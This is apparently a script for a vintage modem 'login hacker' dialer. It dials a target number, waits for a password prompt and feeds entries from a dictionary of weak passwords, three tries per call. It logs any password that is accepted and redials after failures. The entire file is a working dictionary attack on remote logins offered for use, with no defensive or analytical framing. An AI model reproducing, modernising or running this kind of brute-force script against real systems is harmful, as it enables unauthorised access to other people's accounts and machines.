#DEFINE
PHONE_NR=,
LOGFILE=lh&scave.log
DIC(1)=d:\project\hack\word\badpws.dic
; specify above the correct path to your dictionary
;
; !!!                                               !!!
; !!! LOAD THE FOSSIL DRIVER WHEN USING THIS SCRIPT !!!
; !!!                                               !!!
;

#NOCARRIER
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
LOG(Carrier lost on $DATE at $TIME)
LOG()
GOTO(#START)

#START
SET S_TMP=UNDEFINE
; if you got a device which can take the line off/on hook then uncomment
; the following line :
;SET S_TMP=DEFINE

HANGUP
LOG_SESSION_ON
SET STRING2=
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
IF S_TMP=UNDEFINE THEN SEND(AT H1)
EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
; remember to change the target number in this scavenger dialer script

:111
SEND(ATD)
SET D_TMP=0

:112
WAIT(1)
INC(D_TMP)
IF D_TMP>50 THEN GOTO(99)
CHECK4CARRIER(112)
; smart carrier connect check!
; if no carrier present goto 99, if carrier then continue and set
; "successfuly connected" internal variable to true (for carrier lost checks)
SEND()
; sends a return after connect

:1
WAIT(1)
IF STRING2~assw THEN GOTO(2)
GOTO(1)

:2
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(3)
GOTO(50)

:3
SET STRING2=

:4
WAIT(1)
IF STRING2~assw THEN GOTO(5)
GOTO(4)

:5
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(6)
GOTO(50)

:6
SET STRING2=

:7
WAIT(1)
IF STRING2~assw THEN GOTO(8)
GOTO(7)

:8
SEND_NEXT_DIC(1)
WAIT4STRING(10,,1,GOTO(50),ncorr)
GOTO(99)

:50
BEEP
BEEP
BEEP
LOG(-------------------------------------------------------------------------)
LOG($DATE $TIME)
LOG()
LOG(PASSWORD: $DIC(1))
LOG()
GOTO(150)

:99
CHECK4CARRIER(OFF)
IF S_TMP=UNDEFINE THEN GOTO(#START)
EXECUTE(scavenge.exe /s rebreak.scr)
; make the rebreak script to rebreak number and redial target
GOTO(111)

:150
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
GOTO(#END)

#END
